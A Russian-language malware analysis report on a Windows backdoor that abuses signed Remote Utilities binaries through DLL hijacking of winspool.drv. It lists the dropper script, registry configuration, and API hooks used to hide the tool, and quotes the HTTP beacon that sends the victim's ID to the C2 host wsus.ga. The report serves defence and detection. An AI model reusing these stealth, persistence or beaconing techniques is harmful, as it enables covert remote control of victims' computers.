Упаковщик: нет
Дата компиляции:
02.11.2020 00:26:28
SHA1-хеш:
- c3e619d796349f2f1efada17c9717cf42d4b77e2
Описание
Троян-бэкдор, работающий в среде 32- и 64-битных операционных систем семейства Microsoft Windows. Бэкдор написан с использованием компонентов программы для удаленного администрирования Remote Utilities. Распространялся в составе самораспаковывающегося WinRAR-архива (7192d71d5a57e057a76f7b1857ab7d0c9ca2bf11) с помощью фишинговых рассылок. Предназначен для удаленного управления зараженным компьютером.
Принцип действия
Самораспаковывающийся архив запускается следующим скриптом:
;Розміщений нижче коментар містить команди SFX-скрипта
Path=%APPDATA%\Macromedia\Temp\
Setup=WinPrint.exe
Silent=1
Overwrite=2
Состав самораспаковывающегося дроппера:
- libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), чистый;
- ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), чистый;
- UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), подписан действительной подписью;
- WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), подписан действительной подписью;
- winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) — основной вредоносный модуль, загружаемый с помощью DLL Hijacking. Обеспечивает скрытое функционирование Remote Utilities.
Подпись UniPrint.exe:
.>sigcheck -a UniPrint.exe:
Verified: Signed
Signing date: 16:46 02.07.2019
Publisher: Remote Utilities LLC
Company: Remote Utilities LLC
Description: Remote Utilities - Host
Product: Remote Utilities
Prod version: 6.10.10.0
File version: 6.10.10.0
MachineType: 32-bit
Binary Version: 6.10.10.0
Original Name: n/a
Internal Name: n/a
Copyright: Copyright © 2019 Remote Utilities LLC. All rights reserved.
Comments: n/a
Entropy: 6.359
Подпись WinPrint.exe:
.>sigcheck -a WinPrint.exe:
Verified: Signed
Signing date: 14:59 29.06.2017
Publisher: Ter-Osipov Aleksey Vladimirovich
Company: n/a
Description: Virtual Printer Properties Module
Product: RMS Printer
Prod version: 1.0
File version: 1.0
MachineType: 32-bit
Binary Version: 1.0.0.0
Original Name: n/a
Internal Name: n/a
Copyright: n/a
Comments: n/a
Entropy: 6.169
Таблица экспортируемых функций модуля winspool.drv выглядит следующим образом:
118 RemoveYourMom
119 AddFormW
144 ClosePrinter
148 OpenDick
156 DeleteFormW
189 DocumentPropertiesW
190 HyXyJIuHagoToA
195 EnumFormsW
203 GetDefaultPrinterW
248 EnumPrintersW
273 GetFormW
303 OpenPrinterW
307 PrinterProperties
Функции, отсутствующие в оригинальном модуле winspool.drv и не несущие функциональной нагрузки:
Экспортируемые функции с реальными именами содержат переходы к загружаемым в дальнейшем оригинальным функциям из легитимной библиотеки.
DllMain
Некоторые API-функции выполняются через указатели на функции-переходники:
Функция get_proc ищет необходимую API-функцию разбором таблицы экспорта модуля, затем помещает найденный адрес вместо функции-переходника.
На первом этапе загружает подмененную библиотеку. Имя не зашито жестко, поэтому загружает библиотеку <system_directory>\<module_filename>. Затем проходит свою таблицу экспорта и загружает оригинальные API-функции по ординалам, пропуская недействительные функции:
RemoveYourMom
OpenDick
HyXyJIuHagoToA
Затем бэкдор проверяет, в контексте какого исполняемого файла он работает. Для этого проверяет значение IMAGE_NT_HEADERS.OptionalHeader.CheckSum основного исполняемого модуля:
- значение равно 0x2ECF3 — первичный запуск с WinPrint.exe;
- значение равно 0xC9FBD1 — работа в контексте UniPrint.exe.
Если запущен WinPrint.exe, бэкдор создает процесс UniPrint.exe и завершает работу.
UniPrint.exe
Когда запущен UniPrint.exe, бэкдор переходит к выполнению основных функций. Проверяет, имеет ли пользователь права доступа администратора. Затем устанавливает права доступа на директорию с модулем:
После этого записывает параметры General и Security в ключ реестра HKCU\SOFTWARE\WDMPrint.
Значение параметра General:
<?xml version="1.0" ?>
<general_settings version="69110">
<port>5650</port>
<hide_tray_icon_popup_menu>true</hide_tray_icon_popup_menu>
<tray_menu_hide_stop>true</tray_menu_hide_stop>
<language>English</language>
<callback_auto_connect>true</callback_auto_connect>
<callback_connect_interval>60</callback_connect_interval>
<protect_callback_settings>false</protect_callback_settings>
<protect_inet_id_settings>false</protect_inet_id_settings>
<use_legacy_capture>false</use_legacy_capture>
<do_not_capture_rdp>true</do_not_capture_rdp>
<use_ip_v_6>false</use_ip_v_6>
<log_use>false</log_use>
<notify_show_panel>false</notify_show_panel>
<notify_change_tray_icon>false</notify_change_tray_icon>
<notify_ballon_hint>false</notify_ballon_hint>
<notify_play_sound>false</notify_play_sound>
<notify_panel_x>-1</notify_panel_x>
<notify_panel_y>-1</notify_panel_y>
<disable_internet_id>false</disable_internet_id>
<safe_mode_set>false</safe_mode_set>
<show_id_notification>false</show_id_notification>
<show_id_notification_request>true</show_id_notification_request>
<integrate_firewall_at_startup>true</integrate_firewall_at_startup>
</general_settings>
Значение параметра Security:
<?xml version="1.0" ?>
<security_settings version="69110">
<single_password_hash>EEACE8FF203A9678664A51DA07E0ED76641C1F06570B2793A452CD521A1ABD8E6938A54AF36861B5AF21CA3EC485B0D19DFC6827862EB7ECA017DE035F9B5F15</single_password_hash>
<ip_filter_type>2</ip_filter_type>
<auth_kind>1</auth_kind>
<otp_enable>false</otp_enable>
<user_permissions_ask>false</user_permissions_ask>
<user_permissions_interval>10000</user_permissions_interval>
<user_permissions_allow_default>false</user_permissions_allow_default>
<user_permissions_only_if_user_logged_on>false</user_permissions_only_if_user_logged_on>
<disable_remote_control>false</disable_remote_control>
<disable_remote_screen>false</disable_remote_screen>
<disable_file_transfer>false</disable_file_transfer>
<disable_redirect>false</disable_redirect>
<disable_telnet>false</disable_telnet>
<disable_remote_execute>false</disable_remote_execute>
<disable_task_manager>false</disable_task_manager>
<disable_shutdown>false</disable_shutdown>
<disable_remote_upgrade>true</disable_remote_upgrade>
<disable_preview_capture>false</disable_preview_capture>
<disable_device_manager>false</disable_device_manager>
<disable_chat>true</disable_chat>
<disable_screen_record>false</disable_screen_record>
<disable_av_capture>false</disable_av_capture>
<disable_send_message>true</disable_send_message>
<disable_registry>false</disable_registry>
<disable_av_chat>false</disable_av_chat>
<disable_remote_settings>false</disable_remote_settings>
<disable_remote_printing>false</disable_remote_printing>
<disable_rdp>false</disable_rdp>
</security_settings>
Затем подготавливает значение параметра InternetID с помощью форматной строки:
<?xml version="1.0" ?>
<rms_internet_id_settings version="69110">
<use_inet_connection>true</use_inet_connection>
<use_custom_inet_server>%s</use_custom_inet_server>
<inet_server>%s</inet_server>
<inet_id_port>%s</inet_id_port>
<use_inet_id_ipv6>false</use_inet_id_ipv6>
<inet_id_use_pin>false</inet_id_use_pin>
</rms_internet_id_settings>
В рассматриваемом образце значение <use_custom_inet_server> устанавливается в false, а <inet_server> и <inet_id_port> остаются пустыми:
Затем бэкдор создает скрытые окна MDICLIENT и RMSHDNLT:
После этого приступает к перехвату API-функций. Для этого использует библиотеку MinHook:
Список перехватываемых функций представлен в таблице:
Имя модуля | Имя API-функции | Функциональность |
---|---|---|
kernel32.dll | CreateToolhelp32Snapshot | Всегда возвращает значение 0xFFFFFFFF. |
OutputDebugStringW | Функциональность отсутствует. | |
GetFileAttributesW | Для файлов rutserv.exe и rfusclient.exe возвращает значение FILE_ATTRIBUTE_NORMAL. Для файла English.lg возвращает INVALID_FILE_ATTRIBUTES. В остальных случаях вызывает оригинальную API-функцию. |
|
CreateFileW | Если запрашивается имя пайпа (\\.\PIPE\), содержащее одну из строк: RMan, RMS, Buh, {52E6, то добавляет к имени строку HDLT и передает его оригинальной функции. Если имя содержит rutserv.exe и рабочую директорию, то подменяет на имя исполняемого модуля и передает оригинальной функции. В остальных случаях вызывает оригинальную функцию. |
|
GetTempPathW | Возвращает рабочую директорию. | |
CreateNamedPipeW | Если запрашивается имя пайпа (\\.\PIPE\), содержащее одну из строк: RMan, RMS, Buh, {52E6, то добавляет к имени пайпа HDLT. Если необходимых подстрок нет, то вызывает оригинальную функцию. |
|
FindFirstFileW | Если аргумент lpFileName содержит rutserv.exe или *, то проверяет наличие файла UniPrint.exe в рабочей директории и возвращает структуру WIN32_FIND_DATAW с именем файла rutserv в рабочей директории. Если запрашиваются файлы *.lg или *.dll, то возвращает код ошибки INVALID_HANDLE_VALUE. В остальных случаях вызывает оригинальную функцию. |
|
CreateDirectoryW | Если имя создаваемой директории содержит Remote Utilities Agent или rutserv.madExcept, то возвращает 0 (ERROR_SUCCESS). В остальных случаях вызывает оригинальную функцию. |
|
GetModuleFileNameW | Если аргумент hModule равен 0x400000 (ImageBase исполняемого модуля), то возвращает имя <work_dir>\"rutserv.exe". В остальных случаях вызывает оригинальную функцию. |
|
CreateProcessW | Если имя приложения или командная строка содержат rfusclient.exe, то возвращает единицу (успех). В остальных случаях вызывает оригинальную функцию. |
|
GetCommandLineW | Вызывает оригинальную функцию, к результату добавляет -second и возвращает полученную строку. | |
CreateEventW | Если имя события Global\\RMSServer, то добавляет строку HDLT, затем вызывает оригинальную функцию. Также могут добавляться иные значения. В рассматриваемом образце они равны нулю. |
|
wintrust.dll | WinVerifyTrust | Всегда возвращает ноль, т. е. запрашиваемый объект является доверенным. |
shell32.dll | SHGetSpecialFolderLocation | Если аргумент csidl равен CSIDL_APPDATA, то возвращает ноль (неудача); иначе вызывает оригинальную функцию. |
Shell_NotifyIconW | Всегда возвращает единицу (успех). | |
advapi32.dll | RegCreateKeyExW | Если запрашивается ключ SYSTEM\Remote Utilities, то возвращает ERROR_ACCESS_DENIED. Если запрашивается ключ SOFTWARE\Usoris или SOFTWARE\Remote Utilities, то подменяет значение ключа на SOFTWARE\WDMPrint (куда ранее были записаны параметры подключения), а раздел меняет на HKCU. В остальных случаях вызывает оригинальную функцию. |
RegOpenKeyExW | Аналогично функции RegCreateKeyExW, но в случае запроса SYSTEM\Remote Utilities возвращает код ошибки ERROR_FILE_NOT_FOUND. | |
RegSetValueExW | Если аргумент lpValueName равен одному из значений: FUSClientPath, General, CalendarRecordSettings, то возвращает ноль (S_OK); для остальных значений вызывает оригинальную функцию. | |
CreateProcessAsUserW | Аналогично функции CreateProcessW. | |
OpenServiceW | Если lpServiceName равен RManService, то возвращает ноль (неудача); для остальных значений вызывает оригинальную функцию. | |
CreateServiceW | Аналогично функции OpenServiceW. | |
user32.dll | MessageBoxA(W) | Один перехват для обеих версий функции (ASCII, Wide). Если запрашивается окно с типом MB_YESNO или MB_YESNOCANCEL, то возвращает IDYES. |
CreateWindowExW | В данном перехватчике инициализируется соединение с управляющим сервером (см. ниже). | |
wtsapi32.dll | WTSSendMessageW | По аналогии с функцией MessageBox, если параметр Style соответствует значению MB_YESNO или MB_YESNOCANCEL, то возвращает IDYES; в ином случае возвращает IDOK. |
ws2_32.dll | bind | Если порт в структуре sockaddr равен значению 5655, хранимому в глобальной переменной bind_port, то подменяет IP-адрес на localhost. Предусмотрен вариант как для IPv4, так и IPv6. В иных случаях вызывает оригинальную функцию. |
htons | Если аргумент не равен 5650, то вызывает оригинальную функцию. В противном случае создает TCP-сокет и пытается подключиться к localhost через порт bind_port. Если удалось подключиться, закрывает сокет, уменьшает значение порта на единицу и вызывает для полученного значение оригинал htons, после чего возвращает значение. Если значение bind_port в начале выполнения функции уже меньше или равно 80, то подключение к localhost пропускается. |
|
winmm.dll | PlaySoundW | Возвращает единицу. |
CreateWindowExW
При перехвате функции CreateWindowExW проверяется имя класса создаваемого окна. Если оно равно TMessageForm, то функция возвращает ноль. Если создается дочернее окно (WS_CHILDWINDOW или WS_EX_CHILDWINDOW), то значение дескриптора родительского окна подменяется на дескриптор ранее созданного окна MDICLIENT. Если создается окно TEdit, содержащее ID подключения, то дескриптор этого окна сохраняется в глобальной переменной. Далее инициализируются Windows Sockets API (WSA) и SSL (библиотека SSLEAY32.dll). После этого бэкдор прописывается в RunOnce под именем Virtual Printer Driver с запуском WinPrint.exe.
После этого создается поток для соединения с управляющим сервером.
Соединение с управляющим сервером
Вначале по дескриптору окна TEdit с помощью функции GetWindowTextA бэкдор получает InternetID, необходимый для удаленного подключения. Затем формирует GET-запрос вида:
GET /command.php?t=2&id=<Internet-ID> HTTP/1.1
Host: wsus.ga
Accept-Charset: UTF-8
User-Agent: Mozilla/5.0 (Windows NT)
Connection: close
Далее создает TCP-сокет. После этого проверяет значение глобальной переменной, в которой хранится порт для подключения с использованием протокола SSL (в рассматриваемом образце равен нулю). Если порт не равен нулю, то соединение выполняется по SSL посредством функций библиотеки SSLEAY32.dll. Если порт не задан, бэкдор подключается через порт 80.
Далее отправляет сформированный запрос. Если ответ получен, то ожидает в течение минуты и повторно отправляет запрос с InternetID. Если ответа нет, то повторяет запрос через 2 секунды. Отправка происходит в бесконечном цикле.